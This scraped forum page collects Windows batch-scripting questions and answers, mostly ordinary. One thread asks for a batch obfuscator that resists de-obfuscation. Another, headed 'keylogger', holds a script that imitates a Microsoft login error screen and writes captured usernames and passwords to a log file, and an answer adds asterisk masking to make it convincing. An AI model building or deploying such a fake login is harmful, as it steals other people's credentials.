Echoing a Space Character Into a File - batch-file

I want to make a batch obfuscator with no outside tools, but I have a problem with echoing the spaces into the 'obfuscated' code('obfuscated' as in separating the code letter by letter between hundreds of random characters). I have found batch obfuscators that are used with CertUtil, but they can be de-obfuscated with another file, so I really want to get this working, and I haven't really found any unique ones.
When I run my file with the input file (contains #echo off and echo test), I get the obfuscated code:
$zz$j?$z?$#z#?$z?$z###$j?j#zz?$?##j$?$?$#z$$#zjj#zzz?j#jzj#zjjzj?$#$jj?j##z##?#$$$#zjz?$zj#j$zz#jzj###$z#j#j#??##zj#z#j$?$jzjz?$j?$?##zzz#???z$$jzj#??###jz$?$j$z$?$?$?j$j?$jzzj#j#z$zz$jzz#z#$jz#?z?$$$?e$?$j?$##?#zjjjjz#j$$zjjz##$?jzjj?$##?##j$#z#zj?zzjzj$$j#$j$????$z#j#$?j?#j$$$$#jzj$$j#z#z###?j#zjz#jc$#jjz$j#$zj?#z$$?j$z$#?zz$$zz#z?##j#zz#j#z##?$#z$j?$j?z$#?#$$z??j?zj#j$##?#$zz#$$$z?z$z?jz#?j?j#z$?jhj??z?zzj##$?#j$$j#j?#$?$j$$zzzzjjz?z?##$?$$j$zz#?j#?##z#jz$z#jz$z?zzj$###z#jzjzz$##?$j??$??#?zz##?$$ojj#$j$j##?#?jzj$z#?zz##$jjjj#j#?$##j?$?j$#jzzj#?$?jz#$#z#$j???z#$?z?jzzzj$?#jzj#j$#j#??j$?jj?jzz?$#$##z$jjj#?jjz#??jz$?###$j$##$$#$$#?$?j$?z$j?j##?z$#jj?#jzjjjzz$jzjj$##z$?#$##z#$#z##$z?zz##$z?jj$#??jo#$##jjjj?$z$?#z?$##zjz$#j#zz#z?$#$##$j#j?#$#$zz$zj#j?$jjz#jjzjjz#$$j#jjz$?z?j?j#?j$#?zj?jjzzz#$?$##jfzj#?##?jjzjjz$??#zjj??j#????#z#$$$?$?##z$#$zj?jj?#?z$jzj?$j?#??zzj#$jj$?z#j???jjj#$jj$###?$$##jjz?$jf$$##z$$?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$#j??$$##zjj#j#$$z$$?jj?jzjzjz$$z#zz?$?j$zjzjzz$j#j$#??j???jjj##z#$$$#j$#?j?#z$#$?#zj#?$$??jj?#z#?$##jzzz?$$$zjjjzzjz#$#?#$#jz$z?$z##jjjzj?z?j???j??##$zj$zj?#zjzj##j#z$$???#$jzj#z?z??jj##??z####?#?#z??j$????$$zz#jzj?z?j?z?#z$zz??j$?zz#jj##zz##??zj?#z??$?j###?zz#zjjzj$$z#??#?$?#$jj#j?$$$j?zzjz?$?#z#z$#jj#jz$???zj$jjjz$jz#j#$zz?jj#jj?#jj###?z#$j?zzj#jz?$#zj?#?j#?z??$z??jzz?#zj??j?$z##z#j$zjz#zz?$zj$?jjz?jjj$?j$$#z#?#j?zj$$j#jj#z?z#j#?jzzz$jjj$jzjz$j#j#j#?zzzz??z#z$jz#$#z$$?jz$j#?jz??jj#jj$z#z##j$j$##$???z??j?zzjz$??j#zzz#$jj#jzj#z$z$$?$z$jzzj#$#z$#z?z$###???$$?zz$#??j$?$j#j$#?zj$jzzj??j?z?zzz##?j$?z?j$jjz$jj?z#?j##$$?zjzjj#jjj??z$?#zzj$j#??z#zz$$j?jzj#j
However, when I manually remove all of the characters, I am left with:
#echooff
echotest
Is there a way to echo spaces into a file by itself so this problem will be fixed?
My code:
#echo off
set /a N=0
:file
set /p "file=Enter filename: "
if not exist %file% echo Please try again. The file you specified does not exist.
if not exist %file% pause>nul
if not exist %file% cls
if not exist %file% goto file
cls
echo Please wait.
set /a overallfirst=1
set /a double=0
for /F "usebackq tokens=*" %%f in ("%file%") do goto start
:start
set /a "tamp=%random%"
set /a loop2=0
set /a rand=%random% %%5 +1
if %rand%==1 echo #> %tamp%
if %rand%==2 echo $> %tamp%
if %rand%==3 echo ?> %tamp%
if %rand%==4 echo z> %tamp%
if %rand%==5 echo j> %tamp%
:chars
if %loop2%==100 goto next
set /a rand=%random% %%5 +1
if %rand%==1 <nul set /p=#>> %tamp%
if %rand%==2 <nul set /p=$>> %tamp%
if %rand%==3 <nul set /p=?>> %tamp%
if %rand%==4 <nul set /p=z>> %tamp%
if %rand%==5 <nul set /p=j>> %tamp%
set /a loop2+=1
goto chars
:next
for /f "usebackq tokens=*" %%f in ("%tamp%") do set chars=%%f
set "start=^<nul set /p=%chars%^>^> Obfuscated.bat"
del %tamp%
set /a loop=-1
set /a first=1
for %%i in (%file%) do #set count=%%~zi
echo #echo off> Chars.bat
if %double%==0 echo empty^> Obfuscated.bat>> Chars.bat
echo for /f "tokens=*" %%%%a in (%file%) do set id=%%%%a ^& call :processline %%%%a >> Chars.bat
echo cls>>Chars.bat
echo echo Obfuscated code:>>Chars.bat
echo echo -------------------------->>Chars.bat
echo type Obfuscated.bat>>Chars.bat
echo pause^>nul>>Chars.bat
echo exit >> Chars.bat
echo goto :eof >> Chars.bat
echo :processline >> Chars.bat
:loop
set /a loop=%loop%+1
if %loop%==%count% goto end
if %first%==1 set first=0 & goto other
set "command=^<nul set /p=%%id:~%loop%,1%%"
echo %command%^>^> Obfuscated.bat>> Chars.bat
goto next1
:other
set "command=%start%"
echo %command%>> Chars.bat
set /a loop=%loop%-1
goto loop
:next1
set /a "tamp=%random%"
set /a loop2=0
set /a rand=%random% %%5 +1
if %rand%==1 echo #> %tamp%
if %rand%==2 echo $> %tamp%
if %rand%==3 echo ?> %tamp%
if %rand%==4 echo z> %tamp%
if %rand%==5 echo j> %tamp%
:chars
if %loop2%==100 goto next2
set /a rand=%random% %%5 +1
if %rand%==1 <nul set /p=#>> %tamp%
if %rand%==2 <nul set /p=$>> %tamp%
if %rand%==3 <nul set /p=?>> %tamp%
if %rand%==4 <nul set /p=z>> %tamp%
if %rand%==5 <nul set /p=j>> %tamp%
set /a loop2+=1
goto chars
:next2
for /f "usebackq tokens=*" %%f in ("%tamp%") do set chars=%%f
set "command=^<nul set /p=%chars%"
echo %command%^>^> Obfuscated.bat>> Chars.bat
del %tamp%
goto loop
:end
echo echo. ^>^> Obfuscated.bat>> Chars.bat
echo goto :eof >> Chars.bat
echo :eof >> Chars.bat
start Chars.bat
if %overallfirst%==1 set /a overallfirst=0 & set /a double=1
I have looked for a solution, but I was unable to find one.
(I am fairly new to Batch coding so this script is not very efficient)

Try using <nul set /p and echo/. This post may help: Preserve spaces with <Nul set /p

Related

Batch assign array value to variable

I have this code:
#echo off
SET /a counter=0
SET _inputname=
Set interfejs=ala
FOR /f "skip=3 tokens=*" %%a in ('netsh int ip show interfaces') do ( call :myfunct "%%a" )
SET /P _inputname=interface:
IF "%_inputname%" LEQ "%counter%" IF "%_inputname%" GTR "0" (
echo variable value:%_inputname%
call echo [%_inputname%] %%NetInterfNames[%_inputname%]%%
rem problem with assigning array value to a variable.
Set interfejs=%%NetInterfNames[%_inputname%]%%
echo to jest wybrany interface: %interfejs%
Rem split string
rem for /F "tokens=1,*" %%a in ("hello how are you") do echo %%b
)
IF "%_inputname%" GTR "%counter%" ( GOTO :EOF )
IF "%_inputname%" EQU "0" ( GOTO :EOF )
goto: EOF
:myfunct
set /a counter=%counter%+1
set NetInterfNames[%counter%]=%~1
call echo [%counter%] %%NetInterfNames[%counter%]%%
Inside I'm trying to assign a value taken from array to variable using this
Set interfejs=%%NetInterfNames[%_inputname%]%%
Problem is that value form array is not assigned.
Does anyone have an idea of what to do with it?
And here it is without enabling delayed expansion, to show you that you needed to use an additional Call, as per my commented advice. (I've added a Pause to allow you to see any output):
#Echo Off
Set "counter=0"
Set "_inputname="
Set "interfejs=ala"
For /F "Skip=3 Tokens=*" %%A In ('NetSh int ip show interfaces') Do Call :myfunct "%%A"
Set /P "_inputname=interface: "
If "%_inputname%" LEq "%counter%" If "%_inputname%" Gtr "0" (
Echo variable value:%_inputname%
Call Echo [%_inputname%] %%NetInterfNames[%_inputname%]%%
Rem no problem with assigning array value to a variable.
Call Set "interfejs=%%NetInterfNames[%_inputname%]%%"
Call Echo to jest wybrany interface: %%interfejs%%
Rem split string
Rem For /F "Tokens=1*" %%A In ("hello how are you") Do Echo %%B
)
If "%_inputname%" Gtr "%counter%" GoTo :EOF
If "%_inputname%" Equ "0" GoTo :EOF
Pause&GoTo :EOF
:myfunct
Set /A counter+=1
Set "NetInterfNames[%counter%]=%~1"
Call Echo [%counter%] %%NetInterfNames[%counter%]%%
However if you move two of your If commands, you can completely negate the need for one of the code blocks:
#Echo Off
Set "interfejs=ala"
Set "counter=0"
For /F "Skip=3 Tokens=*" %%A In ('NetSh int ip show interfaces') Do Call :myfunct "%%A"
Set "_inputname="
Set /P "_inputname=interface: "
If Not Defined _inputname GoTo :EOF
If "%_inputname%" Gtr "%counter%" GoTo :EOF
If "%_inputname%" Equ "0" GoTo :EOF
Echo variable value:%_inputname%
Call Echo [%_inputname%] %%NetInterfNames[%_inputname%]%%
Call Set "interfejs=%%NetInterfNames[%_inputname%]%%"
Echo to jest wybrany interface: %interfejs%
Rem split string
Rem For /F "Tokens=1*" %%A In ("hello how are you") Do Echo %%B
Pause&GoTo :EOF
:myfunct
Set /A counter+=1
Set "NetInterfNames[%counter%]=%~1"
Call Echo [%counter%] %%NetInterfNames[%counter%]%%
You could probably improve things a little too, still without enabling delayed expansion:
#Echo Off
For /F "Delims==" %%A In ('Set NetInterfNames[ 2^>NUL')Do Set "%%A="
For /F "Tokens=1* Delims=:" %%A In (
'NetSh int ip show interfaces 2^>NUL^|Findstr "[0-9]"^|FindStr /N "^"'
)Do Set "NetInterfNames[%%A]=%%B"&Call Echo [%%A] %%NetInterfNames[%%A]%%
:Input
Set /P "_inputname=interface: "
If Not Defined NetInterfNames[%_inputname%] GoTo Input
Call Set "_interfejs=%%NetInterfNames[%_inputname%]%%"
Echo to jest wybrany interface: %_interfejs%
Rem split string
Rem For /F "Tokens=1*" %%A In ("hello how are you") Do Echo %%B
Pause&GoTo :EOF
Or with delayed expansion:
#Echo Off
SetLocal EnableDelayedExpansion
For /F "Delims==" %%A In ('Set NetInterfNames[ 2^>NUL')Do Set "%%A="
For /F "Tokens=1* Delims=:" %%A In (
'NetSh int ip show interfaces 2^>NUL^|Findstr "[0-9]"^|FindStr /N "^"'
)Do Set "NetInterfNames[%%A]=%%B"&Echo [%%A] !NetInterfNames[%%A]!
:Input
Set /P "_inputname=interface: "
If Not Defined NetInterfNames[%_inputname%] GoTo Input
Set "_interfejs=!NetInterfNames[%_inputname%]!"
Echo to jest wybrany interface: %_interfejs%
Rem split string
Rem For /F "Tokens=1*" %%A In ("hello how are you") Do Echo %%B
Pause&GoTo :EOF
If you enabledelayedexpansion it will help you achieve this much easier.
#echo off
setlocal enabledelayedexpansion
SET /a counter=0
SET _inputname=
Set interfejs=ala
FOR /f "skip=3 tokens=*" %%a in ('netsh int ip show interfaces') do call :myfunct "%%~a"
SET /P _inputname=interface:
IF %_inputname% LEQ %counter% IF %_inputname% GTR 0 (
echo variable value:%_inputname%
echo [%_inputname%] !NetInterfNames[%_inputname%]!
Set interfejs=!NetInterfNames[%_inputname%]!
echo to jest wybrany interface: !interfejs!
)
IF %_inputname% GTR %counter% GOTO :EOF
IF %_inputname% EQU 0 GOTO :EOF
goto :eof
:myfunct
set /a counter+1
set NetInterfNames[%counter%]=%~1
call echo [%counter%] !NetInterfNames[%counter%]!

How can I get my status (String) to blink in my batch file?

I'd like my string to blink in my batch file. The below works well for me. My job's computer logs me out soon after the 11th hour so I like a visual fair warning for that so my batch file does that. Below is my code so far but my string status doesn't blink.
#Echo off
mode 22,15
Color B
cls
set /a Minutes=0
set /a Time=0
Set /a Hours=0
Set /a Reset=11
set Str=Good
For /F "Tokens=*" %%I in ('Time /T') Do Set mytime=%%I
:hi
cls
Echo.
Echo Started %mytime%
Echo Status: %Str%
Echo.
Echo Time so far:
Echo.
Echo %Hours% Hours
Echo.
Echo %Minutes% Minutes
Echo.
Echo %Time% Seconds
Echo.
Echo %Reset% Hours to Reset
ping localhost -n 2 >nul
set /a time=%time%+1
if %time%==60 (
goto min
)else goto :hi
:min
set /a Time=0
set /a Minutes=%Minutes%+1
if %Minutes%==60 (
goto hours
)else goto :hi
goto hi
:hours
set /a Minutes=0
Set /a Reset=%Reset%-1
set /a Hours=%Hours%+1
if %Hours%==11 (
color 47
set Str=ResetEmement
) else goto :hi
goto hi

Kelogger/pasowrd asterrix replace

I would like to make a keylogger and I want the password to look like its asterisk like in the log on:
#echo off
mode con: cols=10000 lines=300
color a
title Login
cls
echo LOGIN ERROR
ver
echo (c) 2017 Microsoft Corporation. All rights reserved.
echo.
cd “C:Logs”
set /p user=Username:
set /p pass=Password:
echo Username=”%user%” Password=”%pass%” >> Log.txt
start open2.bat
exit
I expect it to look real I have tried searching but all I found is for the log on screen I want it for the desktop
just text no asterisks
I know this is a duplicate question here on StackOverFlow but I can't find it. I may have found this code on DosTips.com as well. When I find the original links I will update the question.
Essentially this is the code you are looking for to mask password input with asterisks.
#echo off &setlocal
:username
cls
SET "username="
SET /P "username=Enter your username:"
IF NOT DEFINED username GOTO username
:password
cls
<nul set /p "=Enter your password: "
call :HInput password
IF NOT DEFINED password GOTO password
setlocal EnableDelayedExpansion
echo user:%username% pass:!password!
pause
goto :eof
:HInput [ByRef_VarName]
:: inspired by Carlos
:: improved by pieh-ejdsch
if "%__HI__%" neq "__HI__" (
setlocal DisableDelayedExpansion
set "S=" &set "N=0" &set "__HI__=__HI__"
for /f %%i in ('"prompt;$h&for %%i in (1) do rem"') do set "BS=%%i"
)
set "C="
for /f "eol=1 delims=" %%i in ('xcopy /lwq "%~f0" :\') do set "C=%%i"
set "C=%C:~-1%"
setlocal EnableDelayedExpansion
if not defined C (
echo(
if "%~1"=="" (
echo(!S!
endlocal &endlocal &exit /b %N%
) else (
if defined S (
for /f delims^=^ eol^= %%i in ("!S!") do endlocal &endlocal &set "%~1=%%i" &exit /b %N%
) else endlocal &endlocal &set "%~1=" &exit /b 0
)
)
if "!BS!"=="!C!" (
set "C="
if defined S set /a "N -= 1" &set "S=!S:~,-1!" &<nul set /p "=%BS% %BS%"
) else set /a "N += 1" &<nul set /p "=*"
if not defined S (
endlocal &set "N=%N%" &set "S=%C%"
) else for /f delims^=^ eol^= %%i in ("!S!") do endlocal &set "N=%N%" &set "S=%%i%C%"
goto HInput

Make a random string in batch

I am trying to make a random string in batch, and I have no idea what to do. I have called a random string of numbers with the %random% function, but I have no idea how to permanently replace certain characters in my variable:
#echo off
set subkey1=%random%%random%%random%%random%%random%%random%
set subkey2=%random%%random%%random%%random%%random%%random%
set subkey3=%random%%random%%random%%random%%random%%random%
ECHO %subkey1:0=a%
ECHO %subkey1:1=b%
ECHO %subkey1:2=c%
ECHO %subkey1:3=d%
ECHO %subkey1:4=e%
ECHO %subkey1:5=f%
ECHO %subkey1:6=g%
ECHO %subkey1:7=h%
ECHO %subkey1:8=i%
ECHO %subkey1:9=j%
ECHO %subkey2:0=k%
ECHO %subkey2:1=l%
ECHO %subkey2:2=m%
ECHO %subkey2:3=n%
ECHO %subkey2:4=o%
ECHO %subkey2:5=p%
ECHO %subkey2:6=q%
ECHO %subkey2:7=r%
ECHO %subkey2:8=s%
ECHO %subkey2:9=t%
ECHO %subkey3:0=u%
ECHO %subkey3:1=v%
ECHO %subkey3:2=w%
ECHO %subkey3:3=x%
ECHO %subkey3:4=y%
ECHO %subkey3:5=z%
REM after going through all the letters, we just pick random ones
ECHO %subkey3:6=a%
ECHO %subkey3:7=g%
ECHO %subkey3:8=k%
ECHO %subkey3:9=o%
set key=%subkey1%%subkey2%%subkey3%
echo String: %key%
pause
So as you can see, I am able to ECHO different keys, but I want to save the new one to the variable (EX in subkey 1, I wanna replace all the 0s by a's, then SAVE that so if I look at my variable afterwards, I can see the new one, and be able to call that in different functions.
same effect with much less code:
#echo off
setlocal enabledelayedexpansion
set "string=abcdefghijklmnopqrstuvwxyz"
set "result="
for /L %%i in (1,1,30) do call :add
echo %result%
goto :eof
:add
set /a x=%random% %% 26
set result=%result%!string:~%x%,1!
goto :eof
To assign a variable a value, use the SET command:
SET subkey1=%random%%random%%random%%random%%random%%random%
SET subkey1=%subkey1:0=a%
SET subkey1=%subkey1:1=b%
SET subkey1=%subkey1:2=c%
.
.
.
ECHO %subkey1%
And, of course, beware that %random% should never, ever be used as a source for cryptographic purposes.
#echo off
setlocal EnableDelayedExpansion
set charSets=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!##$%^&*
set count=0
set /a countRaw=4+(%random%)%%20
for /L %%c in (1,1,%countRaw%) do (call :MAKERANDOMSTRING)
goto ENDRANDOMSTRING;
:MAKERANDOMSTRING
set buffer=% %
set count=0
set /a lowValue=30+(%random%)%%40
set /a length=10+!lowValue!
:Loop
set /a count+=1
set /a rand=%Random%%%69
set buffer=!buffer!!charSets:~%rand%,1!
if !count! leq !length! goto Loop
echo "%buffer%"
:ENDRANDOMSTRING

Directory traversal and file selection with .bat

I am trying to write a .bat file that allows me to traverse through directories (up or down) and let me select a file from the current directory, passing that filename out at the end of the routine. Ideally, it would handle if it is at the root of a drive (i.e. C:) or that there are no more sub directories.
(If there are more elegant ways of doing what I am asking, please feel free to suggest them!)
#echo off
setlocal enabledelayedexpansion
set FVAR=
:start
::-------------------------------------------------------
:: LIST - Lists all files in the current folder
::-------------------------------------------------------
:LIST
echo.
if exist . echo ^<DIR^> .
if exist .. echo ^<DIR^> ..
for /f "tokens=* delims=" %%a in ('dir /b /ad') do (
echo ^<DIR^> %%a
)
for /f "tokens=* delims=" %%a in ('dir /b /a-d') do (
echo %%a
)
::-------------------------------------------------------
:: INPUT - Requests filename as input from user
::-------------------------------------------------------
:INPUT
echo.
set /p FVAR="Choose your file [HINT: hit <TAB> to cycle the current folder contents]: "
echo.
echo %FVAR%
if not defined FVAR (goto TRYAGAIN)
set FVARFLAG1=0
set FVARFLAG2=0
set FVARFLAG=%FVARFLAG1%%FVARFLAG2%
echo %FVARFLAG%
if exist %FVAR%\ set "%FVARFLAG1%"=="1"
if exist %FVAR% set "%FVARFLAG2%"=="1"
set FVARFLAG=%FVARFLAG1%%FVARFLAG2%
echo %FVARFLAG%
if "%FVARFLAG%"=="00" goto TRYAGAIN
if "%FVARFLAG%"=="01" goto FILE
if "%FVARFLAG%"=="10" goto DIR
if "%FVARFLAG%"=="11" goto TRYAGAIN
goto TRYAGAIN
:DIR
if exist %FVAR%\ (
echo Successfully set dir name!
goto END
)
goto TRYAGAIN
:FILE
if exist %FVAR% (
echo Successfully set file name!
goto END
)
goto TRYAGAIN
rem if /i "%option:"=%"=="Y" goto YES //This line left in for future use
rem if /i "%option:"=%"=="N" goto NO //This line left in for future use
goto END
::-------------------------------------------------------
:: TRYAGAIN - Returns user to input menu on invalid entry
::-------------------------------------------------------
:TRYAGAIN
echo ------------------------------
echo Invalid selection...try again
echo ------------------------------
goto INPUT
:END
goto :EOF
I like this application! The use of arrays allows you to write simpler and more powerful code. This is my version:
#echo off
setlocal EnableDelayedExpansion
rem Select a file browsing a directory tree
rem Antonio Perez Ayala
set pageSize=30
rem Load current directory contents
:ProcessThisDir
for /F "delims==" %%a in ('set name[ 2^>NUL') do set "%%a="
set numNames=0
for /D %%a in (*) do (
set /A numNames+=1
set "name[!numNames!]=<DIR> %%a"
)
for %%a in (*.*) do (
set /A numNames+=1
set "name[!numNames!]= %%a"
)
rem Show directory contents, one page at a time
set start=1
:ShowPage
if %start% equ 1 (
set "less="
) else (
set "less=-=Previous page, "
)
set /A end=start+pageSize-1
if %end% gtr %numNames% (
set end=%numNames%
set "more="
) else (
set "more=+=Next page, "
)
cls
echo Directory: %CD%
echo/
for /L %%i in (%start%,1,%end%) do echo %%i- !name[%%i]!
echo/
:GetOption
set "option="
set /P "option=Enter desired item (%less%%more%Nothing=..): "
if not defined option (
cd ..
goto ProcessThisDir
) else if "%option%" equ "-" (
set /A start-=pageSize
if !start! lss 1 set start=1
goto ShowPage
) else if "%option%" equ "+" (
if defined more set /A start+=pageSize
goto ShowPage
) else if not defined name[%option%] (
goto GetOption
) else if "!name[%option%]:~0,5!" equ "<DIR>" (
cd "!name[%option%]:~8!"
goto ProcessThisDir
)
rem Return selected file
cls
for %%a in ("!name[%option%]:~8!") do set "result=%%~Fa"
echo Result="%result%"

Resources